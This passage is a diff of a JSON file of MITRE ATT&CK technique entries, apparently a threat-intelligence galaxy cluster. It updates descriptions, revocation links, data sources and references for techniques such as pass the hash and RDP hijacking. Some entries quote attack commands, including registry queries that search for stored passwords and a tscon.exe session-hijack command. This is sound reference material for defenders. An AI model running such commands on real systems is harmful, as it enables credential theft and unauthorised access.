"meta": { "external_id": "CAPEC-555", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "File monitoring", - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1028", "https://capec.mitre.org/data/definitions/555.html", @@ -5336,11 +9844,20 @@ "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" ] }, + "related": [ + { + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", "value": "Windows Remote Management - T1028" }, { - "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", + "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", "meta": { "external_id": "T1043", "kill_chain": [ @@ -5383,22 +9900,19 @@ "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "meta": { "external_id": "T1063", - "kill_chain": [ - "mitre-attack:discovery" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1063" ] }, + "related": [ + { + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", "value": "Security Software Discovery - T1063" }, @@ -5459,7 +9973,7 @@ "value": "Exploit TEE Vulnerability - T1405" }, { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.", "meta": { "external_id": "CAPEC-300", "kill_chain": [ @@ -5489,7 +10003,7 @@ "value": "Network Service Scanning - T1046" }, { - "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)", + "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", "meta": { "external_id": "T1047", "kill_chain": [ @@ -5509,6 +10023,7 @@ "https://en.wikipedia.org/wiki/Server_Message_Block", "https://technet.microsoft.com/en-us/library/cc787851.aspx", "https://msdn.microsoft.com/en-us/library/aa394582.aspx", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" ] }, @@ -5544,81 +10059,97 @@ "value": "Inhibit System Recovery - T1490" }, { - "description": "Adversaries may abuse legitimate extensible development features of server applications to establish persistent access to systems. Enterprise server applications may include features that allow application developers to write and install software to extend the functionality of the main application. Adversaries may install malicious software components to maliciously extend and abuse server applications.\n\n###Transport Agent\nMicrosoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.\n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.\n\n###SQL Stored Procedures\nSQL stored procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017)\n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures, these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)", + "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.", "meta": { "external_id": "T1505", "kill_chain": [ "mitre-attack:persistence" ], "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process monitoring", "File monitoring", "Application logs" ], "mitre_platforms": [ "Windows", - "Linux" + "Linux", + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1505", - "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help", - "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", - "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/", - "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/", - "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017", - "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017", - "https://blog.netspi.com/attacking-sql-server-clr-assemblies/" + "https://www.us-cert.gov/ncas/alerts/TA15-314A" ] }, "uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", "value": "Server Software Component - T1505" }, { - "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", + "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "meta": { - "external_id": "T1506", + "external_id": "T1560", "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:lateral-movement" + "mitre-attack:collection" ], "mitre_data_sources": [ - "Authentication logs", - "Office 365 account logs" - ], - "mitre_platforms": [ - "Office 365", - "SaaS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1506", - "https://wunderwuzzi23.github.io/blog/passthecookie.html", - "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" - ] - }, - "uuid": "c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", - "value": "Web Session Cookie - T1506" - }, - { - "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", - "meta": { - "external_id": "T1065", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" + "Process monitoring", + "Process command-line parameters", + "File monitoring", + "Binary file metadata" ], "mitre_platforms": [ "Linux", "macOS", "Windows" ], + "refs": [ + "https://attack.mitre.org/techniques/T1560", + "https://en.wikipedia.org/wiki/List_of_file_signatures" + ] + }, + "uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "value": "Archive Collected Data - T1560" + }, + { + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", + "meta": { + "external_id": "T1506", + "refs": [ + "https://attack.mitre.org/techniques/T1506", + "https://wunderwuzzi23.github.io/blog/passthecookie.html", + "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + ] + }, + "related": [ + { + "dest-uuid": "c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", + "value": "Web Session Cookie - T1506" + }, + { + "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", + "meta": { + "external_id": "T1065", "refs": [ "https://attack.mitre.org/techniques/T1065", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ] }, + "related": [ + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", "value": "Uncommonly Used Port - T1065" }, @@ -5643,26 +10174,54 @@ "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", "meta": { "external_id": "CAPEC-644", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1075", "https://capec.mitre.org/data/definitions/644.html", - "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" ] }, + "related": [ + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", "value": "Pass the Hash - T1075" }, { - "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.\n\nThis behavior has been seen in the BankBot/Spy Banker and SimBad families of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)(Citation: simbad-adware)", + "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", + "meta": { + "external_id": "T1570", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "File monitoring", + "Packet capture", + "Process use of network", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1570" + ] + }, + "uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "value": "Lateral Tool Transfer - T1570" + }, + { + "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions.\n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)", "meta": { "external_id": "T1508", "kill_chain": [ @@ -5675,8 +10234,7 @@ "https://attack.mitre.org/techniques/T1508", "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/", "https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/", - "https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker", - "https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/" + "https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker" ] }, "uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", @@ -5704,17 +10262,6 @@ "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", "meta": { "external_id": "CAPEC-555", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1076", "https://capec.mitre.org/data/definitions/555.html", @@ -5725,6 +10272,15 @@ "https://github.com/nccgroup/redsnarf" ] }, + "related": [ + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "51dea151-0898-4a45-967c-3ebee0420484", "value": "Remote Desktop Protocol - T1076" }, @@ -5732,18 +10288,6 @@ "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "meta": { "external_id": "T1096", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "File monitoring", - "Kernel drivers", - "API monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1096", "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", @@ -5757,11 +10301,20 @@ "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" ] }, + "related": [ + { + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", "value": "NTFS File Attributes - T1096" }, { - "description": "Adversaries may attempt to find local system or domain-level groups and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are net group /domain and net localgroup using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn Mac, this same thing can be accomplished with the dscacheutil -q group for the domain, or dscl . -list /Groups for local groups.\n\n### Linux\n\nOn Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.\n\n### Office 365 and Azure AD\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)", + "description": "Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.", "meta": { "external_id": "CAPEC-576", "kill_chain": [ @@ -5779,15 +10332,15 @@ "macOS", "Windows", "Office 365", - "Azure AD" + "Azure AD", + "AWS", + "GCP", + "Azure", + "SaaS" ], "refs": [ "https://attack.mitre.org/techniques/T1069", - "https://capec.mitre.org/data/definitions/576.html", - "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0", - "https://github.com/True-Demon/raindance", - "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", - "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + "https://capec.mitre.org/data/definitions/576.html" ] }, "uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", @@ -5797,18 +10350,6 @@ "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)", "meta": { "external_id": "CAPEC-561", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "Process use of network", - "Authentication logs", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1077", "https://capec.mitre.org/data/definitions/561.html", @@ -5816,11 +10357,20 @@ "https://technet.microsoft.com/en-us/library/cc787851.aspx", "http://support.microsoft.com/kb/314984", "https://technet.microsoft.com/bb490717.aspx", - "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", - "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx", + "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts", + "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem", "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" ] }, + "related": [ + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "ffe742ed-9100-4686-9e00-c331da544787", "value": "Windows Admin Shares - T1077" }, @@ -5828,15 +10378,6 @@ "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", "meta": { "external_id": "CAPEC-645", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1097", "https://capec.mitre.org/data/definitions/645.html", @@ -5846,6 +10387,15 @@ "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" ] }, + "related": [ + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", "value": "Pass the Ticket - T1097" }, @@ -5853,27 +10403,20 @@ "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", "meta": { "external_id": "CAPEC-578", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "API monitoring", - "File monitoring", - "Services", - "Windows Registry", - "Process command-line parameters", - "Anti-virus" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1089", "https://capec.mitre.org/data/definitions/578.html" ] }, + "related": [ + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", "value": "Disabling Security Tools - T1089" }, @@ -5881,24 +10424,21 @@ "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "meta": { "external_id": "CAPEC-649", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1151", "https://capec.mitre.org/data/definitions/649.html", "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" ] }, + "related": [ + { + "dest-uuid": "e51137a5-1cdc-499e-911a-abaedaa5ac86", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e2907cea-4b43-4ed7-a570-0fdf0fbeea00", "value": "Space after Filename - T1151" }, @@ -5939,27 +10479,25 @@ "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", "meta": { "external_id": "T1214", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1214", "https://pentestlab.blog/2017/04/19/stored-credentials/" ] }, + "related": [ + { + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "2edd9d6a-5674-4326-a600-ba56de467286", "value": "Credentials in Registry - T1214" }, { - "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: 